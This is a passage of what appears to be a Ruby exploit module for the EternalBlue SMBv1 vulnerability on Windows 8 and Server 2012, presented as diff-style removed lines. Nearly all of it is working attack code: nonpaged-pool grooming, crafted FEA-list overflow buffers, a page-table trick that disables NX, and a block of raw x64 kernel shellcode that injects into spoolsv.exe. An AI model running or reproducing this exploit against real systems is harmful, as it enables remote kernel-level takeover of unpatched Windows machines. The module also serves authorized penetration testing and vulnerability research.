RubySMB::SMB1::Packet::NtTrans::Response.read(conn.send_recv(pkt)) - - if recv_pkt.status_code.value == 0 - print_good('got good NT Trans response') - else - print_error("got bad NT Trans response: #{recv_pkt.status_code.name}\n#{recv_pkt.status_code.description}") - return nil - end - - # Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data - size_of_data_to_be_sent = first_data_fragment_size - while size_of_data_to_be_sent < data.length - send_size = [4096, data.length - size_of_data_to_be_sent].min - if data.length - size_of_data_to_be_sent <= 4096 - break - end - - send_trans2_second(conn, tid, pid, data[size_of_data_to_be_sent...(size_of_data_to_be_sent + send_size)], - size_of_data_to_be_sent) - size_of_data_to_be_sent += send_size - end - - size_of_data_to_be_sent - end - - def _exploit(fea_list, shellcode, num_groom_conn, username, password) - session_setup_packet = default_session_setup_request - session_setup_auth_packet = default_session_setup_request - - conn, tree, sock = smb1_connect_ipc(session_setup_packet: session_setup_packet, - session_setup_auth_packet: session_setup_auth_packet) - - pid = conn.pid - os = conn.peer_native_os - print_status("Target OS: #{os}") - - if os.start_with?('Windows 10') - build = os.split.last.to_i - if build >= 14393 # version 1607 - print_status('This exploit does not support this build') - return - end - elsif !(os.start_with?('Windows 8') || os.start_with?('Windows Server 2012')) - print_status('This exploit does not support this target:') - return - end - - # The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand. - # Send TRANS2_OPEN2 (0) with special fea_list to a target exce - progress = send_big_trans2(conn, tree.id, pid, 0, fea_list, "\x00" * 30) - if progress.nil? - conn.disconnect! - return - end - - fea_list_nx = generate_fea_list_nx - - session_setup_packet = default_session_setup_request - session_setup_packet.parameter_block.vc_number = 1 - - session_setup_auth_packet = default_session_setup_request - session_setup_auth_packet.parameter_block.max_mpx_count = 2 - session_setup_auth_packet.parameter_block.vc_number = 1 - - nx_conn, nx_tree, nx_sock = smb1_connect_ipc(session_setup_packet: session_setup_packet, - session_setup_auth_packet: session_setup_auth_packet) - - # Another TRANS2_OPEN2 (0) with special fea_list for disabling NX - nx_progress = send_big_trans2(nx_conn, nx_tree.id, pid, 0, fea_list_nx, "\x00" * 30) - if nx_progress.nil? - conn.disconnect! - nx_conn.disconnect! - return - end - - # create some big buffer at servereternal - # this buffer MUST NOT be big enough for overflown buffer - alloc_conn, alloc_sock = create_session_alloc_non_paged(NTFEA_SIZE - 0x2010, username, password, pid) - if alloc_conn.nil? - return - end - - # groom nonpaged pool - # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one - srvnet_conn = [] - num_groom_conn.times { srvnet_conn.append(create_connection_with_big_smb_first_80(for_nx: true)) } - - # create buffer size NTFEA_SIZE at server - # this buffer will be replaced by overflown buffer - hole_conn, hole_sock = create_session_alloc_non_paged(NTFEA_SIZE - 0x10, username, password, pid) - if hole_conn.nil? - return - end - - # disconnect allocConn to free buffer - # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer - alloc_sock.close - - # hope one of srvnet_conn is next to holeConn - 5.times { srvnet_conn.append(create_connection_with_big_smb_first_80(for_nx: true)) } - - # remove holeConn to create hole for fea buffer - hole_sock.close - - # send last fragment to create buffer in hole and OOB write one of srvnet_conn struct header - # first trigger, overwrite srvnet buffer struct for disabling NX - send_trans2_second(nx_conn, nx_tree.id, pid, fea_list_nx[nx_progress, fea_list_nx.length], nx_progress) - - recv_pkt = RubySMB::SMB1::Packet::Trans2::Response.read(nx_conn.recv_packet) - if recv_pkt.status_code.value == 0xc000000d - print_good('good response status for nx: INVALID_PARAMETER') - else - print_error("bad response status for nx: #{recv_pkt.status_code.value}") - end - - # one of srvnet_conn struct header should be modified - # send '\x00' to disable nx - srvnet_conn.each { |sk| sk.send("\x00", 0) } - - # send last fragment to create buffer in hole and OOB write one of srvnet_conn struct header - # second trigger, place fake struct and shellcode - send_trans2_second(conn, tree.id, pid, fea_list[progress, fea_list.length], progress) - recv_pkt = RubySMB::SMB1::Packet::Trans2::Response.read(conn.recv_packet) - if recv_pkt.status_code.value == 0xc000000d - print_good('good response status for nx: INVALID_PARAMETER') - else - print_error("bad response status for nx: #{recv_pkt.status_code.value}") - end - - # one of srvnet_conn struct header should be modified - # a corrupted buffer will write recv data in designed memory address - srvnet_conn.each { |sk| sk.send(fake_recv_struct + shellcode, 0) } - - # execute shellcode, at this point the shellcode should be located at ffffffff`ffd04180 - srvnet_conn.each(&:close) - - nx_tree.disconnect! - nx_conn.disconnect! - nx_sock.close - - tree.disconnect! - conn.disconnect! - sock.close - end - - def generate_process_hash(process) - # calc_hash from eternalblue_kshellcode_x64.asm - proc_hash = 0 - (process + "\x00").split('').each do |c| - proc_hash = ror(proc_hash, 13) - proc_hash += c.ord - end - [proc_hash].pack('I<') - end - - def ror(dword, bits) - return (dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF - end - - def eternalblue_kshellcode_x64(process = 'spoolsv.exe') - proc_hash = generate_process_hash(process) - - return ( - "\x55\xe8\x2e\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d" \ - "\x0d\x34\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00\x74\x0a" \ - "\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48" \ - "\xc1\xea\x20\x0f\x30\x5d\xc3\x48\x8d\x2d\x00\x10\x00\x00\x48" \ - "\xc1\xed\x0c\x48\xc1\xe5\x0c\x48\x83\xed\x70\xc3\x0f\x01\xf8" \ - "\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8b\x24\x25\xa8" \ - "\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50" \ - "\x55\xe8\xc5\xff\xff\xff\x48\x8b\x45\x00\x48\x83\xc0\x1f\x48" \ - "\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31" \ - "\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00\xc0" \ - "\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa" \ - "\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57" \ - "\x41\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49" \ - "\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d" \ - "\x5a\x75\xf1\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00" \ - "\x00\xbf\x78\x7c\xf4\xdb\xe8\x01\x01\x00\x00\x48\x91\xbf\x3f" \ - "\x5f\x64\x77\xe8\xfc\x00\x00\x00\x8b\x40\x03\x89\xc3\x3d\x00" \ - "\x04\x00\x00\x72\x03\x83\xc0\x10\x48\x8d\x50\x28\x4c\x8d\x04" \ - "\x11\x4d\x89\xc1\x4d\x8b\x09\x4d\x39\xc8\x0f\x84\xc6\x00\x00" \ - "\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6" \ - "\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8\xbb\x00\x00\x00\x8b\x78" \ - "\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xf4\x00\x00\x00\x3d" + - proc_hash + "\x74\x10\x3d" + proc_hash + "\x74\x09\x48\x8b\x0c" \ - "\x39\x48\x29\xf9\xeb\xe0\xbf\x48\xb8\x18\xb8\xe8\x84\x00\x00" \ - "\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b" \ - "\x08\x48\x39\xde\x74\xf7\x4a\x8d\x14\x33\xbf\x3e\x4c\xf8\xce" \ - "\xe8\x69\x00\x00\x00\x8b\x40\x03\x48\x83\x7c\x02\xf8\x00\x74" \ - "\xde\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xa9\x00\x00\x00" \ - "\x55\x6a\x01\x55\x41\x50\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d" \ - "\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46" \ - "\xcc\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xa3" \ - "\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89" \ - "\x40\x08\xeb\x90\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02" \ - "\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84" \ - "\x07\x88\x00\x00\x00\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20" \ - "\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00" \ - "\x00\x39\xf8\x75\xef\x58\x8b\x58\x24\x4c\x01\xfb\x66\x8b\x0c" \ - "\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59" \ - "\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x85\xc0\x75" \ - "\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b" \ - "\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f\x22\xc0\x48\x89" \ - "\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06" \ - "\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57\xe8\x65" \ - "\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x45\x48\x8b\x3e\x48" \ - "\x8d\x35\x4d\x00\x00\x00\xb9\x00\x06\x00\x00\xf3\xa4\x48\x8b" \ - "\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83" \ - "\x78\x48\x18\x75\xf6\x48\x8b\x50\x50\x81\x7a\x0c\x33\x00\x32" \ - "\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\x22\xff" \ - "\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1\x01\x44\x0f\x22" \ - "\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49" \ - "\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83\xec\x20" \ - "\xff\xd0\x48\x83\xc4\x30\xc3" - ) - end - - def create_fea_list(sc_size) - fea_list = [0x10000].pack('I<') - fea_list += NTFEA_9000 - fake_srv_net_buf = create_fake_srv_net_buffer(sc_size) - fea_list += [0, 0, fake_srv_net_buf.length - 1].pack('CCS<') + fake_srv_net_buf # -1 because first '\x00' is for name - # stop copying by invalid flag (can be any value except 0 and 0x80) - fea_list += [0x12, 0x34, 0x5678].pack('CCS<') - return fea_list - end - - def create_fake_srv_net_buffer(sc_size) - # 0x180 is size of fakeSrvNetBufferX64 - total_recv_size = 0x80 + 0x180 + sc_size - fake_srv_net_buffer_x64 = "\x00" * 16 - fake_srv_net_buffer_x64 += [0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR].pack('SSIQ<') # flag, _, _, pNetRawBuffer - fake_srv_net_buffer_x64 += [0, 0x82e8, 0].pack('QII<') # _, thisNonPagedPoolSize, _ - fake_srv_net_buffer_x64 += "\x00" * 16 - fake_srv_net_buffer_x64 += [0, total_recv_size].pack('QQ<') # offset 0x40 - fake_srv_net_buffer_x64 += [TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR].pack(' MAX_SHELLCODE_SIZE - print_error("Shellcode too long. The place that this exploit put a shellcode is limited to #{MAX_SHELLCODE_SIZE} bytes.") - return - end - - fea_list = create_fea_list(sc.length) - - print_status("shellcode size: #{sc.length}") - print_status("numGroomConn: #{num_groom_conn}") - - begin - _exploit(fea_list, sc, num_groom_conn, smbuser, smbpass) - rescue StandardError => e - print_error("Exploit failed with the following error: #{e.message}") - elog('Error encountered with eternalblue_win8', error: e) - return false - end - end - - def create_session_alloc_non_paged(size, username, password, pid) - # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 - pkt = SessionSetupSMB1RequestWithPoorlyFormedDataBlock.new - - anon_conn, _anon_tree, anon_sock = smb1_connect_ipc(negotiate_only: true) - - pkt.smb_header.pid_low = pid - - if size >= 65535 # 0xffff - pkt.data_block.security_blob = [(size / 2).floor].pack('S<') + "\x00" * 20 - pkt.smb_header.flags2.unicode = 0 - else - pkt.data_block.security_blob = [size].pack('S<') + "\x00" * 20 - pkt.smb_header.flags2.unicode = 1 - end - - pkt.smb_header.flags2.extended_security = 0 - pkt.smb_header.flags2.nt_status = 1 - pkt.smb_header.flags2.paging_io = 0 - - pkt.parameter_block.max_buffer_size = 61440 # can be any value greater than response size - pkt.parameter_block.max_mpx_count = 2 # can by any value - pkt.parameter_block.vc_number = 2 # any non-zero - pkt.parameter_block.session_key = 0 - pkt.parameter_block.security_blob_length = 0 # this is OEMPasswordLen field in another format. 0 for NULL session - - pkt.parameter_block.capabilities.each_pair do |k, _v| - if k == :nt_status || k == :extended_security - pkt.parameter_block.capabilities[k] = 1 - else - pkt.parameter_block.capabilities[k] = 0 - end - end - - recv_pkt = RubySMB::SMB1::Packet::SessionSetupResponse.read(anon_conn.send_recv(pkt)) - - if recv_pkt.status_code.value == 0 - print_good('SMB1 session setup allocate nonpaged pool success') - return anon_conn, anon_sock - end - - anon_conn.disconnect! - - unless username.empty? - # Try login with valid user because anonymous user might get access denied on Windows Server 2012. - # Note: If target allows only NTLMv2 authentication, the login will always fail. - # support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16) - req_size = (size / 2).floor - pkt.smb_header.flags2.unicode = 0 - - auth_conn, _auth_tree, auth_sock = smb1_connect_ipc(negotiate_only: true) - - pkt.smb_header.pid_low = pid - - # challenge_packet = conn.smb1_ntlmssp_challenge_packet(conn.smb1_ntlmssp_negotiate) - # type2_b64_message = conn.smb1_type2_message(challenge_packet) - - # server_challenge = response_packet.data_block.server_guid[0, 8] - server_challenge = auth_conn.server_guid[0, 8] - - pwd_unicode = NTLM_CRYPT.ntlm_md4(password, server_challenge) - - pkt.parameter_block.reserved = pwd_unicode.length - pkt.data_block.security_blob = [req_size + pwd_unicode.length + username.length].pack('S<') + pwd_unicode + username + "\x00" * 16 - - recv_pkt = RubySMB::SMB1::Packet::SessionSetupResponse.read(auth_conn.send_recv(pkt)) - - if recv_pkt.status_code.value == 0 - print_good('SMB1 session setup allocate nonpaged pool success') - return auth_conn, auth_sock - end - auth_conn.disconnect! - end - - print_error("SMB1 session setup allocate nonpaged pool failed: #{recv_pkt.status_code.name}\n#{recv_pkt.status_code.description}") - return nil - end - - def generate_fea_list_nx - # fea_list for disabling NX is possible because we just want to change only MDL.MappedSystemVa - # PTE of 0xffffffffffd00000 is at 0xfffff6ffffffe800 - # NX bit is at PTE_ADDR+7 - # MappedSystemVa = PTE_ADDR+7 - 0x7f - shellcode_page_addr = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000 - pte_addr = 0xfffff6ffffffe800 + 8 * ((shellcode_page_addr - 0xffffffffffd00000) >> 12) - fake_srv_net_buffer_x64nx = "\x00" * 16 - fake_srv_net_buffer_x64nx += [0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR].pack('SSIQ<') - fake_srv_net_buffer_x64nx += "\x00" * 16 - fake_srv_net_buffer_x64nx += "\x00" * 16 - fake_srv_net_buffer_x64nx += [0, 0].pack('QQ<') - fake_srv_net_buffer_x64nx += [0, TARGET_HAL_HEAP_ADDR].pack('QQ<') # _, _, pointer to fake struct - fake_srv_net_buffer_x64nx += [0, 0,].pack('QQ<') - fake_srv_net_buffer_x64nx += "\x00" * 16 - fake_srv_net_buffer_x64nx += "\x00" * 16 - fake_srv_net_buffer_x64nx += [0, 0x60, 0x1004, 0].pack('QSSI<') # MDL.Next, MDL.Size, MDL.MdlFlags - fake_srv_net_buffer_x64nx += [0, pte_addr + 7 - 0x7f].pack('QQ<') # MDL.Process, MDL.MappedSystemVa - - fea_list_nx = [0x10000].pack('I<') - fea_list_nx += NTFEA_9000 - fea_list_nx += [0, 0, fake_srv_net_buffer_x64nx.length - 1].pack('CCS<') + fake_srv_net_buffer_x64nx # -1 because first '\x00' is for name - # stop copying by invalid flag (can be any value except 0 and 0x80) - fea_list_nx += [0x12, 0x34, 0x5678].pack('CCS<') - - fea_list_nx - end - - def default_session_setup_request - p = RubySMB::SMB1::Packet::SessionSetupRequest.new - p.parameter_block.max_buffer_size = 61440 - p.parameter_block.max_mpx_count = 50 - p.smb_header.flags2.extended_security = 1 - - p - end - - # Returns the value to be passed to SMB clients for - # the password. If the user has not supplied a password - # it returns an empty string to trigger an anonymous - # logon. - # - # @return [String] the password value - def smb_pass - if datastore['SMBPass'].present? - datastore['SMBPass'] - else - '' - end - end - - # Returns the value to be passed to SMB clients for - # the username. If the user has not supplied a username - # it returns an empty string to trigger an anonymous - # logon. - # - # @return [String] the username value - def smb_user - if datastore['SMBUser'].present? - datastore['SMBUser'] - else - '' - end - end - - # Returns the value to be passed to SMB clients for - # the domain. If the user has not supplied a domain - # it returns an empty string to trigger an anonymous - # logon. - # - # @return [String] the domain value - def smb_domain - if datastore['SMBDomain'].present? - datastore['SMBDomain'] - else - '' - end - end - - class SessionSetupSMB1RequestWithPoorlyFormedDataBlock < RubySMB::GenericPacket - COMMAND = RubySMB::SMB1::Commands::SMB_COM_SESSION_SETUP_ANDX - - class ParameterBlock < RubySMB::SMB1::Packet::SessionSetupRequest::ParameterBlock - end - - class DataBlock < RubySMB::SMB1::DataBlock - # Key difference for this class is that the length of security_blob is NOT dictated by the value of - # security_blob_length in the +SessionSetupRequest::ParameterBlock+ - string :security_blob, label: 'Security Blob (GSS-API)' - string :native_os, label: 'Native OS' - string :native_lan_man, label: 'Native LAN Manager' - end - - smb_header :smb_header - parameter_block :parameter_block - data_block :data_block - end - - class CustomSessionSetupPacketRubySMBClient < ::RubySMB::Client - def send_recv(packet, encrypt: false) - version = packet.packet_smb_version - case version - when 'SMB1' - packet.smb_header.uid = user_id if user_id - packet.smb_header.pid_low = pid if pid && packet.smb_header.pid_low == 0 - packet = smb1_sign(packet) - when 'SMB2' - packet = increment_smb_message_id(packet) - packet.smb2_header.session_id = session_id - unless packet.is_a?(RubySMB::SMB2::Packet::SessionSetupRequest) - if smb2 - packet = smb2_sign(packet) - elsif smb3 - packet = smb3_sign(packet) - end - end - end - - encrypt_data = false - if can_be_encrypted?(packet) && encryption_supported? && (@session_encrypt_data || encrypt) - encrypt_data = true - end - send_packet(packet, encrypt: encrypt_data) - raw_response = recv_packet(encrypt: encrypt_data) - smb2_header = nil - unless version == 'SMB1' - loop do - smb2_header = RubySMB::SMB2::SMB2Header.read(raw_response) - break unless is_status_pending?(smb2_header) - - sleep 1 - raw_response = recv_packet(encrypt: encrypt_data) - rescue IOError - # We're expecting an SMB2 packet, but the server sent an SMB1 packet - # instead. This behavior has been observed with older versions of Samba - # when something goes wrong on the server side. So, we just ignore it - # and expect the caller to handle this wrong response packet. - break - end - end - - self.sequence_counter += 1 if signing_required && !session_key.empty? - # update the SMB2 message ID according to the received Credit Charged - self.smb2_message_id += smb2_header.credit_charge - 1 if smb2_header && server_supports_multi_credit - raw_response - end - - def login(username: self.username, password: self.password, - domain: self.domain, local_workstation: self.local_workstation, - ntlm_flags: default_flags, session_setup_packet: nil, - session_setup_auth_packet: nil) - negotiate - session_setup(username, password, domain, - local_workstation: local_workstation, - ntlm_flags: ntlm_flags, - session_setup_packet: session_setup_packet, - session_setup_auth_packet: session_setup_auth_packet) - end - - def session_setup(user, pass, domain, - local_workstation: self.local_workstation, ntlm_flags: default_flags, - session_setup_packet: nil, session_setup_auth_packet: nil) - @domain = domain - @local_workstation = local_workstation - @password = pass.encode('utf-8') || ''.encode('utf-8') - @username = user.encode('utf-8') || ''.encode('utf-8') - - @ntlm_client = Net::NTLM::Client.new( - @username, - @password, - workstation: @local_workstation, - domain: @domain, - flags: ntlm_flags - ) - - authenticate(smb1_setup_pkt: session_setup_packet, smb1_setup_auth_pkt: session_setup_auth_packet) - end - - def authenticate(smb1_setup_pkt: nil, smb1_setup_auth_pkt: nil) - if smb1 - if username.empty? && password.empty? - smb1_anonymous_auth - else - smb1_authenticate(session_setup_packet: smb1_setup_pkt, - session_setup_auth_packet: smb1_setup_auth_pkt) - end - else - smb2_authenticate - end - end - - def smb1_authenticate(session_setup_packet: nil, session_setup_auth_packet: nil) - response = smb1_ntlmssp_negotiate(session_setup_packet: session_setup_packet) - challenge_packet = smb1_ntlmssp_challenge_packet(response) - - # Store the available OS information before going forward. - @peer_native_os = challenge_packet.data_block.native_os.to_s - @peer_native_lm = challenge_packet.data_block.native_lan_man.to_s - user_id = challenge_packet.smb_header.uid - type2_b64_message = smb1_type2_message(challenge_packet) - type3_message = @ntlm_client.init_context(type2_b64_message) - @session_key = @ntlm_client.session_key - challenge_message = @ntlm_client.session.challenge_message - store_target_info(challenge_message.target_info) if challenge_message.has_flag?(:TARGET_INFO) - @os_version = extract_os_version(challenge_message.os_version.to_s) unless challenge_message.os_version.empty? - - raw = smb1_ntlmssp_authenticate(type3_message, user_id, session_setup_packet: session_setup_auth_packet) - response = smb1_ntlmssp_final_packet(raw) - response_code = response.status_code - - @user_id = user_id if response_code == ::WindowsError::NTStatus::STATUS_SUCCESS - response_code - end - - def smb1_ntlmssp_negotiate(session_setup_packet: nil) - packet = smb1_ntlmssp_negotiate_packet(session_setup_packet: session_setup_packet) - send_recv(packet) - end - - def smb1_ntlmssp_authenticate(type3_message, user_id, session_setup_packet: nil) - packet = smb1_ntlmssp_auth_packet(type3_message, user_id, session_setup_packet: session_setup_packet) - send_recv(packet) - end - - def smb1_ntlmssp_auth_packet(type3_message, user_id, session_setup_packet: nil) - if session_setup_packet.nil? - packet = RubySMB::SMB1::Packet::SessionSetupRequest.new - packet.smb_header.uid = user_id - packet.set_type3_blob(type3_message.serialize) - packet.parameter_block.max_mpx_count = 50 - packet.smb_header.flags2.extended_security = 1 - - packet - else - if session_setup_packet.data_block.security_blob.empty? - session_setup_packet.set_type3_blob(type3_message.serialize) - end - if session_setup_packet.smb_header.uid == 0 - session_setup_packet.smb_header.uid = user_id - end - if session_setup_packet.parameter_block.max_buffer_size == 0 - session_setup_packet.parameter_block.max_buffer_size = max_buffer_size - end - if session_setup_packet.smb_header.pid_low == 0 - session_setup_packet.smb_header.pid_low = pid - end - - session_setup_packet - end - end - - def smb1_ntlmssp_negotiate_packet(session_setup_packet: nil) - type1_message = ntlm_client.init_context - - if session_setup_packet.nil? - packet = RubySMB::SMB1::Packet::SessionSetupRequest.new unless session_setup_packet - packet.set_type1_blob(type1_message.serialize) - packet.parameter_block.max_mpx_count = 50 - packet.smb_header.flags2.extended_security = 1 - - packet - else - if session_setup_packet.data_block.security_blob.empty? - session_setup_packet.set_type1_blob(type1_message.serialize) - end - - session_setup_packet - end - end - end -end